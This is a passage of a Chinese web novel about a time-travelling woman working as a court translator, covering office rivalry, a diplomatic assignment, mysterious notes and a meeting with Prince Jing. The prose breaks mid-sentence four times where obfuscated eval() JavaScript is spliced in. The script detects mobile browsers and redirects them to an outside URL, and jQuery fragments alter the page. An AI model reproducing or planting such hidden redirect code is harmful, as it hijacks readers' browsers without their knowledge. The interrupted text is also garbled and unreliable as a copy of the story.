比曲父更紧张的是刚经历过追杀的曲聆烟,听到金属碰地的声音时更是瞳孔骤缩,身体不自觉地开始发抖。 曲父没注意曲聆烟的异样,在沉默的气氛中急得在屋内来回走,不敢确认屋外是否真的有人。 缓过来的曲聆烟看着曲父的样子,皱了皱眉头,抬脚转身离开了书房,独留曲父一人。 屋外更甚宁静,只有风划过树叶留下的声音。 曲聆烟在静谧中感受着自己的呼吸和心跳,望着天上明月,思绪放空。 还有心跳和呼吸,真是让人高兴的事。 * 即使是经历了一场宴会的翻译,译院也丝毫没有给译官休息的时间,天光微亮之时便陆续有译官来到译院。 曲聆烟打着哈欠,靠在为她穿官服的侍女怀中,还处在半睡半醒之间。 被侍女强制性从院内带到府门,已然进入睡梦中的曲聆烟听到了马蹄声,猛一睁眼,和车夫对上了视线。 “早上好啊赵叔,晚上睡得怎么样?”曲聆烟打着哈哈试探道。 听到忽如其来的关心,赵叔摸了摸脖子,笑着回答:“就是脖子有点痛,也不记得昨天晚上发生了些什么。” “不记得昨天晚上发生了什么?”曲聆烟追问道。 赵叔见曲聆烟追问,小心翼翼道:“可能是昨儿喝了一点小酒,不过小姐放心,绝对不影响驾车。” 曲聆烟:…… 喝酒不开车,开车不喝酒。 追问到赵叔实在说不出来什么,曲聆烟这才放下心准备上马车,定睛一看又觉脑子晕乎。 “小舒,是不是我眼花了,怎么感觉马车变新了。”曲聆烟一手扶着脑袋,一手扶着侍女的手臂。 侍女小舒见状仔细瞧了一眼马车,摇了摇头,随后催促曲聆烟前往译院。 被哄上马车前去译院的曲聆烟看着车内的变化,靠在舒服的软垫上,顿时身体上的各种痛都同消失了一般。 享受了片刻舒服生活的曲聆烟捂着心口开始算账,别人帮自己修了马车是好,但自己也不想欠别人的,这些债总是要还的。 在从软垫底下摸到自己昨日遗失在车上的香囊,才把香囊拿出,就觉着某微凉的物体贴着自己。 曲聆烟拿起一看,是昨晚掉落的金簪。 债更重了。 这种贵重物品,还是找个机会还回去吧。 * 译院西域语部门更显清静,几人围在一圈闲聊,比起昨日少了几个人,见曲聆烟一来,目光便有意无意地放在了她身上。 被盯得全身都凉的曲聆烟只想坐下来找个地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076033|163380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方摸鱼,昨日发生的一切都使她疲惫,实在没有多余的力气。 抱着关于西域语古籍远离了人群,议论声便更加大胆。 “倒是让她昨日出尽了风头。” “那样好的差事要是派给我就好了。” “往后她再勾结上宋大人,那前途必将……” 曲聆烟伸手捂住半边耳朵,显得十分无助。 这么好的差事昨日你怎么不做,本官被追杀的时候你还羡慕吗?什么前途不前途的,谁不知道译院的职位调动有多平稳,怕是要先当个十年八年的小译官。 一个略微耳熟的声音响起,帮着曲聆烟说话,“其实曲译官人还是不错的,昨日那些话交给我们也难翻译,更难交差……” 曲聆烟闻声看去,是昨日和自己交换翻译对象的译官,果然没有帮错人,做好事还是有好报的。 任凭几人谈论,曲聆烟都没有搭理,而是默默从细枝末节中寻找自己可能会用得上的部分。 原来帮自己说话的译官是因为西域语部分的人数不够,昨日临时从别的部门找的。 林译官因为多年没升职,每来一个新人都会被他平等地针对,直到再来下一个新人。 院首陈渊似乎与西域关系十分密切,所以能来西域语部门的除了自己都是经过陈渊筛选的。 宋大人作为女官一直在提拔女子,那群译官认为曲聆烟将会是她的下一个提拔对象。 曲聆烟明白了,自己是遇到职场小团体了。 没人告诉她译院这么勾心斗角啊! 一阵平稳的脚步声响起,顿时众人四散开回到各自的位置。 曲聆烟正了正身子,把歪倒的古籍扶正,装作认真阅读的样子。 脚步声停下,取而代之的是一个厚重的声音。 “昨日是谁为敬王翻译的?” 曲聆烟一怔,回道:“院首,是下官负责为敬王翻译的。” 陈渊久居上位,自带不怒自威的气场,说话缓慢极具压迫。如今曲聆烟如此不慌不忙且平稳地回答,让众人竟有忽略两人地位,觉得两人是平级的错觉。 沉默无人敢打破,最终是陈渊主动开口道:“做的不错。” 说完又看向那位与曲聆烟交换翻译对象的译官,道:“薛译官,跟我走一趟。” 那位薛译官便随着陈渊一同离开译院,留下众人不明白院首的来意。 经过院首这样一搅和,译官总算开始各自的工作,连曲聆烟都认真看了几页古籍,随后就陷入半睡眠状态。 在半梦半醒中那熟悉的脚步声再次响起,曲聆烟瞬间清醒不少,如同回到了高中时期听班主任在走廊的脚步声一般。 看到的确是陈渊又回来西域语部分,曲聆烟在心里叫苦:不是吧又来,院首每次一来都没什么好事。 跟在陈渊身后的薛译官神色复杂,对曲聆烟的方向格外关注,两人来回对上视线。 陈渊站到曲聆烟的身前,语气平淡,道:“七日后,曲译官和薛译官一同随使者前往析节。” 5. 局势 沉默诡异的氛围在众人中弥漫开,心思不明的各种视线落到曲聆烟身上。 曲聆烟抿唇,坦荡地接受了这忽如其来的任务。 林译官在她身后差些跳起来,若不是眼下的人是院首,他早就上去拽着人质问起来了。见曲聆烟如此淡然,心中不甘更甚,嫉妒之意浮在脸上。 初入官场便接到如此重任,更何况昨日还遭一场刺杀,可这对她升职来得太及时了。 译官这些年人员变动不大,要是次次推脱,她就永远都只是一个小译官了。 对着林译官嫉妒的模样,曲聆烟在趁他人不注意时给了对方一抹笑。灿烂的笑容狠狠刺向了林译官的心,一时脸上什么表情都有,双目发红。 曲聆烟不以为意,俏皮地眨眨眼准备下班跑路。 烦人的同事都再见吧。 好心的上司多来一点。 * 竹幽居坐落在曲府的角落,虽以竹取名,但整个曲府上下连根竹子都没有,更别说是她这种本不受重视的棋子。 面对明显进行翻新的竹幽居,曲聆烟挑眉一笑,曲宏达居然开始拉拢父女关系了。 曲聆烟大步流星地走进庭院中,揪住新买盆栽的叶子,若有所思地观察周围的一切。 侍女忙在院中小桌倒起茶,半咬着下唇,露出一副纠结神情。 近几个月相处中,曲聆烟也差不多摸清了身边人的性格,尤其是自己的侍女小舒,是个不苟言笑,非必要交流不会多说一句话的人,难得见她露出如此纠结表情,一时来了兴趣。 侍女犹豫许久,终是下定决心开口。 “小姐。”她小心翼翼唤道。 曲聆烟心情不错地拿起茶杯,笑意盈盈,偏头示意侍女继续说下去。 “刚才大人过来问,听有人说,可能有件大事会交给小姐办。”侍女给空了的茶杯添上茶,余光中观察曲聆烟的表情。 曲聆烟用纸制扇子微微扇着风,听完不语,最后朱唇轻笑,“天机不可泄露。” 她也是刚知道这件事,按时间来看,曲宏达比她还要早知道,是谁告诉他的? 曲聆烟想到这里,半垂着眼,从心底感到了一丝危险。 侍女不断换着花样问话,始终没从曲聆烟口中得到什么有用的信息,最终以曲聆烟往她口中塞了个新鲜的果子强行停止行动。 自今日她回府后,曲父曲母都陆续派人来探自己的口风,各种玩意层出不穷,虽然没什么贵重的物品,曲聆烟还是感受到了拥有权力被人众星捧月的感觉。哪怕送来的东西都被曲聆烟叫人送了回去,心中仍是一番自在。 但曲聆烟没想到,连曲俊周都亲自来了。 看着堵在自己面前的曲俊周,曲聆烟陷入了一丝迷茫。她和她名义上的哥哥,关系不太好吧?难道被自己骂了一顿后回心转意准备重新经营兄妹关系了? 不,按照她对曲俊周的了解,他不是那样的人。 她本以为曲俊周应该知难而退,从此好好读书,没想到这人还会站到自己的面前。 两人对视几眼,不约而同低下了头,都是一副不想见到对方的样子。 曲俊周一咬牙,开口道:“听说烟儿你可能要出远门,我给你带了些……” 说完就让身后的小侍上前。 曲聆烟皱了皱眉,拒绝道:“不用了。” “银子。” 几乎是曲聆烟话音刚落,曲俊周才说完最后一个字。 两人的气氛中出现一瞬间尴尬,曲俊周刚想让小侍拿走,就见曲聆烟飞快地从椅上跳起,从小侍手中接过银子往侍女手中塞,口中念念有词: “哥哥过来这么客气,小舒给哥哥倒茶……不不不,烟儿亲自给哥哥倒茶。” 说完半强制将人按在椅子上,为曲俊周倒了满满一杯茶。 曲俊周对着满茶,死活不肯喝一口,找了个借口匆匆离去,离去时额头上冒着汗,眼神惶恐,连手都有些发抖,恨不得一步就跨出院子,用着奔跑般的速度快速离开竹幽居。 对于曲俊周的离去,曲聆烟并不在意,她拿过侍女手中的银子颠了颠,还挺沉。 不管是曲父送来的字画,还是曲母送来的新衣,都比不上哥哥送来的银子。 曲聆烟心满意足,往口中又塞了个果。 * 青砖红墙,威严的气势压得众人喘不过气。 “如今析节主动示好,不过是指定几位译官陪同使者回析节交谈,又有何不合规矩之处?” 高座上身穿明黄色衣袍的男人缓缓开口,让众人皆如站在薄冰一般,连呼吸声都是轻的。 陈渊垂着头,思索片刻还是提道:“陛下,臣认为析节敬王主动提要宴会上为析节皇室翻译之人陪同,恐不是只有表象一般简单。” 盯着皇帝的视线,陈渊不得不硬着头皮接着说:“何况宴会上为析节皇室翻译的译官,学艺不精,也难免会有得罪析节之处,此非万全之计。” 皇帝话欲出口,另一个清亮的声音响起。 “陛下。” 繁重的官服显得人气场不凡,长发梳得干脆利落压在官帽下,口齿清晰,语气平淡有力,有着不符年龄的稳重。 “臣认为陈院首所言差矣。” 陈渊低着头不敢动弹,在心中暗骂一句,又是这个女人来搅局。 “译院的译官都是经历重重选拔、才能出众者,陈院首何出此言?况且析节求和之心明确,断不会为了译官来为难。”她话音一转。“还是说陈院首只是不满人选,想要亲自选人?” 陈渊被她所说之话一惊,忙道:“陛下,臣断没此心。” 这女人惯会颠倒黑白,他可真的只是为了不在翻译环节出错而已…… 皇帝轻叹一口气,最后还是否决了陈渊的提议,答应敬王的要求。 会议结束,众人陆续散去,穿着紫袍的女人走在最前方,不与任何一人为伍。 陈渊衣袖下的手不自觉握紧,看着女人离去的背影,又在心中暗骂。 宋瑜然,你给我等着。 * 夕阳映着男人高大的身形,用西域语与身旁女子交谈着。 “这时将暗信送出,刚好在我们七日后回析节时他们能收到。” “那就好,兄长。”女子说着奇怪的西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076034|163380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 域语,“回去小心些,我替你算过了。” 男人收起信,写下记号,眯起眼思考着。 “你又是什么时候对中原的卦象如此感兴趣。”男人漫不经心地问道。 女子听完有些郁闷,道:“只会一点。” “那你帮我算一个人。” “谁?” “你不用知道她是谁,你就帮我算我和她有没有缘分就好。” 男人说完,得到了女子幽怨又疑惑的目光。 * 待夕阳已照不进庭院,曲聆烟意犹未尽地指使人将院中收拾好,带着沉甸甸的银子回屋。 她将银子小心地藏在枕下,躺在床上又觉着银子在薄枕下的感觉实在太明显,不得不起身将银子换个地方藏好。 摸着银子,她忽得想起今日在马车上找到的金簪,手慢脚乱地找出金簪。 见其还在松了一口气。 这要是丢了就亏大了,更何况还是要还给别人的。 曲聆烟小心地把簪子的一段抽出,想确认是否还是那支簪中藏刀的金簪,却见一张纸条掉出。 愣神一瞬,见目下无人悄悄捡起。 纸条很小,像是一张完整的信纸上的一角撕下,字迹已经有些模糊。 曲聆烟仔细辨认着,发现信上所写文字是西域语,顿时心中一冷。 这是要陷害她通敌的手段吗? 她将纸条往眼下送得更近,仔细查看后得出一句话。 【子时,马棚相见。】 看完后曲聆烟一言不发,将纸条送到烛火上燃成灰烬。 跳动的烛火闪烁了几下,恢复了平稳的样子。 赴约是不可能的,这种意义不明还有可能将自己处于危险之境的行为,还是少做比较好。 她只是一个小小译官,怎么总有人想要害她的命。 本以为苦苦学文没有出路,好不容易潜心研究古汉语后事业小有成就,一朝猝死被逼嫁,这些已经是够倒霉的事了,没想到是死后重生穿越后还是性命不保。 而这一切都从那日遇见析节之人开始。 但也是那些析节之人,让曲聆烟成为了译官。 曲聆烟怀着纠结的心事,在床上沉沉睡去。 夜深,曲府照常如顾,安静得可怕。 曲聆烟第二天早晨仔细检查了竹幽居的里里外外,确认没有任何异常后松了口气。 没有一丝喘气就往马棚跑,飞起的尘土染上裙角。 看着忙前忙后的众人,曲聆烟记得平常马棚也没这么热闹啊! 她随意抓了个人问事,“这么嘈杂,出什么事了?” 小侍擦了把额头上的汗,刚想骂人,见来者是曲聆烟,立刻换上了一副谄媚的表情,“小姐怎么来这边了,也没什么事,就是府上的母马受惊早产了,眼下伙计们都忙着接生呢。” “小姐,还有事情吗?”见曲聆烟不说话,小侍脸上谄媚之意更浓,腰微弯着,手中的尘土擦在衣服上。 曲聆烟早在听说母马受惊早产时脸上淡定的表情就出现了一丝裂痕。 母马……早产? 啊? 6. 食楼 曲聆烟对着忙碌的人群,少见地有些呆滞。 会西域语的人,能约自己出来的,无非就是打过几次照面的敬王了。 他这此举为何意? 在确认马棚没有别的意外后,曲聆烟疑惑地离开了马棚,转身准备回竹幽居。 主要是在马棚里被一众下人盯着的感觉让曲聆烟很不自在,她毕竟是曲家两个孩子中的姑娘,在马棚待久了也不好解释。 曲父对曲聆烟的态度虽算不上怎样,但与曲母十分恩爱,曲聆烟在发现曲父只有她和曲俊周两个孩子的时候就知道了这一点,可惜他没把这种爱分给两个孩子中的任何一个,都只是他手中的棋子而已。 竹幽居逐渐不显往常破败模样,漏风的窗户重新换了一扇,更符合女儿家口味。只是对于曲聆烟这种穿越前将近三十岁的女人,总有些难以直视。 眼下的竹幽居虽说没有竹子,但盆栽还是有不少的,侍女见自家小姐常拿盆栽的叶子置气,只是在盆栽被揪秃后默默换了一盆。 曲聆烟:怎么感觉揪了两天这盆栽的叶子,这盆栽的叶子还越来越多了? 自曲聆烟接到要陪同使者一同前往析节交谈后便时常收到各种慰问,趁这几日能在家中好好休息,她干脆闭门不见旁人,自在到忘记了一切的烦恼。 只是在看见侍女为她不断收拾着将要远行的衣物时,才会有几日后即将启程的感觉。好不容易在京城待得比较习惯就要换地方,她就已经提前开始水土不服了。 被侍女收进屋里的,除了曲母送来的各种衣物,连曲父都破天荒想到自己女儿缺什么,派人送来一些银子。 曲聆烟将银子在手中颠了颠,她其实颠不出什么,但按照电视剧上演的,都有这个流程,颠完后再让侍女将银子称一称。 居然比曲俊周送来的还少。 曲聆烟这下是真的不对她这便宜父亲报什么希望了。 穿越前她为了读书远离家乡,与家人常年不见面;穿越后父母也不见得很喜欢自己,当然,如果曲父曲母对曲二小姐真的很在意的话,又怎会让她香消玉殒呢? 但在她看到曲母特地织好挡风的披风,眼眶还是有些湿润。 将披风在身上一试,正正好好。 明明自她穿越之后都未与曲母进行过多交流,身为母亲却总知女儿的身形。 曲聆烟沉默地把披风收好。 * 在家中休息几天后,曲聆烟还是踏进了译院的大门。 几日不见,居然有点想念。 曲聆烟此番前来译院,是陈院首有话要特意交待给她,于是自然认为应该是两人私下谈话,在看到西域语部门还是有这么多译官在工作时,不免心生疑惑。 她到之时刚好踩点,几乎是才进院中的下一刻,陈渊的脚步声就在她身后响起。 曲聆烟对这种声音快要应激了,她发现只要遇到自己的这位院首上司,基本上准没什么好事,虽说院首人还不错吧,可能是自己和他八字不太合? 陈渊见在自己面前几步的曲聆烟,脚步微顿,随后大步走进院中。 听到身后加快的脚步声,曲聆烟也开始快步往前走,怎么能让上司先进门等自己,她还是知道一点职场潜规则的。 两人前后赶着进了西域语部门,比院首先一步进门的曲聆烟松了一口气。 身后传来急促的脚步声。 还有个迟到的,曲聆烟更放心了。 陈渊一瞥身后人,眉头蹙起,幽深的眼眸看不出情绪。 来晚的薛译官明明经过一路小跑心跳无比剧烈,但还是有一种心脏已经停止跳动的错觉。 陈渊无视了他,接着走向人群。 带着困倦的曲聆烟有种在开早会的错觉,忍着哈欠硬是在陈渊的注视下没敢打。 陈渊收回视线,缓缓开口道:“此番召各位译官前来,还是有些话要交待。” “根据析节皇室的意愿,曲译官和薛译官将跟随使者前往析节进行会谈,并在我国境内担任析节皇室的随身翻译。” 曲聆烟一愣,这种事情,居然要当众说出吗? 析节皇室的意愿?随身翻译?难不成又是敬王? “余下的译官。”陈渊淡淡道,“就把析节带来的古籍翻译完,期限在两位译官归来之时。” 陈渊简单说了几句话后便匆匆离去,连带着曲聆烟早退之心蠢蠢欲动。 林极松嫉妒的眼神已经毫不掩饰了,对着发呆的曲聆烟狠狠一瞪。 曲聆烟回以一笑。 这下真是有种全身血液都在倒流的感觉,头昏眼花。林极松觉着自己定是沾上了什么,连着几日不顺,得找人来看看了。 * “小姐,是准备去哪?”临近饭点,侍女拦着鬼鬼祟祟的曲聆烟问道。 曲聆烟扶额,明明已经很小心了,怎么还是被侍女抓到了。她可一向认为自己的侍女是曲父曲母派来的眼线,虽说从未造成什么损失,但还是一直提防着。 她顺手又塞了点银子进兜里,抚了抚皱起的袖子,趁旁人路过竹幽居时拉着侍女闪躲。 “这不是明日便要离开京城,去大漠孤烟荒凉之地,我想着走之前去外边吃顿好的。”曲聆烟解释道。 哪怕她现在已然不是从前不受重视的曲二小姐,但曲家的饭菜真的不好吃啊!作为吃惯现代美食的曲聆烟,对于曲家的饭菜实在不好评价。 顶着侍女的视线,曲聆烟心虚地转移了视线。 “城北有家食楼,小姐可以去尝尝。”侍女思索道。 见对方不是来拦着自己的,曲聆烟的眼神黯淡了一瞬,偏头又一副喜出望外的表情,拉着侍女就往墙角走。 “我前些日子里发现了竹幽居墙角有个洞,我们钻洞走。”曲聆烟快步走向墙角,“城北不行,我和城北八字不合。” 被拉着的侍女有些赶不上曲聆烟走路的速度,几乎是小跑着,抽着气问道:“小姐为何不走大门?” “走大门多危险,被父亲母亲抓个正着怎么办。”曲聆烟微微一笑,“况且我和小舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076035|163380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去,除了我们之外就不会再有人知道这件事了。” 直到走至墙角,侍女才发现墙角早已放好了斗笠。 曲聆烟眼睛一闪,看着仅有的一顶斗笠,扔下一句“等我一下”,转身往屋中跑去。 被拉着小跑一路的侍女本想追上去,气一下没上来,只得待在原地等着。 不多时,曲聆烟便拿着另一顶斗笠跑来。 贴心地帮大喘气的侍女整理好头发戴了上去,自己拿着放在地上的斗笠毫无形象地往头上一戴,愉快地钻洞离开曲府。 侍女还来不及疑惑一向大门不出二门不迈的曲聆烟怎么体力变得这么好,就被拉着钻了洞,怎么想都觉着自己是钻了狗洞。 曲聆烟才不管钻的是什么洞,就算是老鼠洞,眼下也是好洞。 等侍女钻洞出来,曲聆烟还在想究竟去哪家食楼好,就被侍女一句“城北那家食楼价格低”戳中心头,毫不犹豫转身向城北走去。 两人真正走到食楼时,曲聆烟看着连招牌都没有的食楼,白纸黑字写着几个看不清的大字看起来像是店名,总觉得来错地方了。反复问了侍女好几次,得到肯定的回答后,推着侍女进了店门。 店内倒是出乎曲聆烟的意料,大堂人满为患,十分热闹。 几乎是刚进店,小二就热情地迎了上来,在得到曲聆烟开间包间的大气答复后,殷勤地带着两人上楼。 菜单上的菜对曲聆烟来说都略显陌生,顺手递给了侍女。 接到菜单的侍女心领神会地帮自家小姐点菜,不仅样样都是曲聆烟平日里爱吃的,价格也在合适的区间。 小二前脚刚出房门,后脚曲聆烟就急不可耐地摘下斗笠,呼吸着新鲜空气,一路过来真是闷得慌。 也是在刚摘下斗笠后不到半柱香的时间,再度和小二碰了面。 曲聆烟还没感慨食楼的上菜速度之快,就见小二身后身形高大的男子,视线下移看到小二一脸懵的表情,下一刻视线里便只剩下了房门。 一会儿后,蒙着面纱的女子打开了房门,用不太标准的西域语开口:“这位小姐,介意一同吃顿饭吗?” 虽说对方戴着面纱,曲聆烟也能一眼认定,她就是那位析节的公主。 那么刚才看到的男人就是敬王了。 她轻抿一口茶水,眼眸深邃如海,思索片刻后用西域语缓缓开口:“我同意了。” 状态外的侍女还不明白发生了什么事情,见那位说着自己听不懂的语言的姑娘轻轻点头,露出的眼睛弯成月牙,走向房门外说了什么。 下一刻,一阵叮当碰撞声响起,屋中两人的视线皆被吸引。 男人的身形高大挺拔,食楼的门本就比寻常人家的门矮一点,他进门时还得稍稍低头,肩宽腰窄,略卷的长发被打理得很完美,面纱遮住了大半脸庞,眼神却温柔如水。 进门便与曲聆烟直勾勾的目光撞上,两人的目光似乎在空中要擦出火花。 曲聆烟又拿起茶杯抿了一口。 还是见面了,敬王。 7. 偶遇 被那双清澈的眼睛注视着,燕辰竟觉心跳仿佛漏了一拍,挪不开放在对方身上的视线。直到对方轻咳一声,才回神收回炽热的目光。 曲聆烟漂亮的小脸上出现一瞬迷茫,很快面色如常,开门见山道:“敬王殿下,此番前来是为何事?” 一口流利的西域语脱口而出,惹得侍女多看了她几眼,早听说自家小姐跟着奶娘学了西域语,如今第一次听到,倒有些不真实感。 燕辰不语,把目光移向侍女。 曲聆烟顿时会意,对着侍女道:“你去加两道菜,顺道在后厨盯着点,外边的菜没家里干净。” 但比家里好吃。 如此明显打发人的说辞,侍女也丝毫没有多说一句话,只是领命去了后厨。 待侍女走后,那位析节的公主起身准备离去。 曲聆烟冷冷道:“还请公主留下,不然下官与敬王两人孤男寡女共处一室,终究是不太好。” 公主愣神一会,回到燕辰身边坐下。 盯着满杯的茶水,燕辰忍笑,认真道:“那天晚上的追杀,小姐可有头绪?” 见对方居然问自己这个问题,曲聆烟语气更冷,道:“下官还以为敬王殿下会比下官更清楚此事。” 燕辰摇头,嗓音被压得低沉温柔,道:“此事本调查出些许线索,但怀疑对象的时间对不上,所以来询问小姐是否有线索能提供于我。” 对方竟如此认真询问自己,曲聆烟分神思考了一会,但自己眼下就是译院和曲府两处来回跑,哪来的线索。 等曲聆烟思考的时间里,燕辰的注意力被曲聆烟皙白脖颈上的掐痕晃了眼,有些懊恼这次偶遇身上没带药膏。 即使曲聆烟再怎么猜测对方故意找上自己的意图,但这的确是一场偶遇,甚至连燕辰知道曲聆烟在这座食楼是因为小二带错路了。 “下官的确对这件事不清楚。”曲聆烟眼睛微微眯起,“况且,按照敬王殿下先前的说法,下官只是被牵连进来的。” “是我冒昧了。”得到曲聆烟的答复,燕辰带着歉意说道。 两人一人温柔一人阴阳的对话,被晾在一旁的析节公主紧张着拉着自己的裙摆,低头不语。 几句下来,曲聆烟见燕辰说话温和态度不错,也逐渐放缓了语气。 “下官倒是有一件事想问。” 燕辰点点头,“小姐想问何事?” “让译官陪同使者去析节交谈,是殿下的主意吗?” 燕辰心头一震,还是不慌不忙道:“译官陪同使者拜访他国是一向传统。” 曲聆烟毫不留情戳穿道:“那么让宴会上为析节翻译的译官陪同使者一同前去析节交谈,这是殿下的主意了?” 故意略去的部分被对方提起,燕辰脸上出现了些许尴尬,干脆地承认道:“是。” 见对方承认,曲聆烟缓和的语气又变得冷起来,“殿下这是何意?” 这下燕辰庆幸自己早为此事准备好了说辞,松了口气,道:“只是觉着先前宴会上为我们兄妹二人翻译的译官比较熟悉,也避免接触新的译官来者不善。” 真正来者不善的人正坐在他对面看着他瞎编呢。 曲聆烟只觉自己误解了对方,生硬地转移话题,“那挺好的,公主怎么不说话?” 被提及的公主紧张地抬起了头,脸上露出迷茫,缓了一瞬才道:“本宫……我对西域语并不精通。” 曲聆烟顿时更尴尬了,面带尬笑,道:“是下官冒昧了。” 她怎么会想到西域公主会对西域语不精通啊!虽说先前在宴会上就有迹象,但她怎么也没往这方面想。 “敬王殿下,那我府上的母马是……”为了将尴尬转移到别人身上,曲聆烟尴尬开口。 曲聆烟的话音刚落,敲门声响起,是侍女带着小二来上菜了。几人顿时都不说话,跟侍女离开时的场景一模一样。 侍女回来了也不好交流,曲聆烟便全身心投入品尝美味饭菜中,让身旁的侍女看得惊心胆战,这可是跟析节皇室之人一桌吃饭。 看着紧张不吃饭的侍女,曲聆烟还作催促,侍女思索后不得不硬着头皮与这些身份地位天生就高自己一等的人一桌吃饭。 敬王和公主是先两人一步走的,天色渐晚,曲聆烟拿起斗笠,想到要回到曲府就觉得自己的心被一块沉重的石头压着,就像上学时周日晚自习回学校一般。 带着鼓鼓囊囊的荷包前去结账时,却被小二告知刚才有两人帮自己结过了。 被意外之喜一砸的曲聆烟有些恍惚,早说你会结账,我就不对你说话态度这么冷淡了,多不好意思。 这析节敬王可真是个好人。 * 曲府依旧沉默得可怕,府中下人不算多,竹幽居更是清静。 没人在意的曲聆烟偷溜了快一个时辰都没人发现,脱下斗笠的曲聆烟回屋后觉着自己十分疲惫,与敬王这一谈话,对先前的刺杀更没思绪了。 侍女在床边椅子上做着针线活,对于自家小姐一定要独自卸妆不是很理解,但也没说什么,各怀心事。 曲聆烟坐在铜镜前拆着复杂的发型,被桌上两抹白吸引了视线。 低头一看,是两张纸条。 不明所以的曲聆烟将对折的纸条展开摊平,顿时面色不佳,呼吸沉重,有些喘不过气。 【万事小心,尤其是看起来不错的人。】 曲聆烟缓了缓呼吸,颤抖着将纸条在烛火下燃尽。 看着第二张纸条,鼓起勇气摊开一看,险些将烛火打翻。 那是一串她看不懂的文字,唯一能看懂的是落款,用西域语写着: 【燕辰】 这张纸条曲聆烟便没烧毁,思索片刻放在了自己随身的荷包里。 常人不会翻女子的荷包,这种东西放在哪里她都不安心,不如放在自己身上。 这一夜曲聆烟都没能睡着,落在桌上的皎白月光在眼眸中亮着。 月光映着京城的每户人家,在一处被窗户遮挡着,没照进屋内。 屋内人绕着手中的手串,青筋突出,有力的小臂锤着桌子,将身前人吓倒在地。 “你是说你们可能被发现了?” 答者声音越来越小。 “只有这一次几乎,你最好确保这件事这次不会有任何闪失。” 他冷哼一声,挥手打发人,道:“走吧。” 面前的人颤颤巍巍从地上起来,先前求饶磕头的血迹留在地上。 见对方眉头一皱,他不得不再次跪下用袖子擦干净地上的血迹,待对方满意才一瘸一拐地离开。 手串在手中转着,他起身打开窗户,吹散屋内淡淡的血味,对着明月,喃喃道:“今晚的月亮似乎比昨日圆些。” 圆月只是在天上平等地照着京城每户,落在窗台上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076036|163380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>执笔的女子蹙着眉头不放,将信在火中烧尽,静了静心,重新开始写信。 大手一挥写了一整页,眉头更皱了,再将这页放在火中烧尽。 反复在心中组织语言,待过了一炷香,才心有把握地重新开始写信。 这次只用了上一页一半的篇幅,心中的气始终堵在那里,却也没有更好的办法,只得等着墨迹干透。 书信散发出一股香味,便知女子所用纸墨不凡。 待她关上窗户,连同月光一同消失的还有桌上的信。 * 连着没休息好的曲聆烟不得不顶着黑眼圈前往去析节的队伍,还刚好踩点到会合之地,看着眼前一人在原地转来转去,没忍住笑了出声。 笑声顿时吸引了眼前人的注意,他气得差点没站稳,对他身旁的人道:“这就是本次出行的译官?” 曲聆烟眯了眯眼睛,觉得自己快站着睡着了,见对方身旁的人有些眼熟,定睛一看,原来是自己的上司陈渊。 院首在场,曲聆烟正身,怎么能将自己不好的一面在领导面前显露,这还怎么升职。 陈渊点头肯定,道:“这位是曲译官。” 曲聆烟不明白情况,没说话。 被身旁的薛译官小声提醒,“这是李使者。” 虽不知道是什么情况,曲聆烟还是规矩地向李使者打招呼。 李使者脸色这才好些,但还是一副别人都欠了他百八十万的表情。 他仔细打量着曲聆烟,视线尖锐到让曲聆烟不适,道:“来得这么晚,是家中有事?” “也没什么大事。”曲聆烟回答。 得到这样的回答,李使者又要暴走,被陈渊打断。 “既然在规定之时到达,没耽误事情,下回还是早些到。” 好心的上司帮自己解围了,陈渊在曲聆烟心中的形象顿时又高大不少,院首人真是太好了,感恩有你。 薛译官小声提醒着:“李使者已经是朝中老人,深受陛下信任。” 哦,原来是仗着自己身后是皇上,就如此为难人。 薛译官犹豫一瞬,又用只有两人能听到的声音道:“李使者与院首关系不佳。” 哦,原来是跟院首有仇,但为难不了陈渊,只好来为难自己。 “陈院首,你选的人没问题吧?我怎么瞧着这两人有些面生,我可没在译院里见过。” 几人等着析节皇室的人到来,李使者等久了又开始打量着两人。 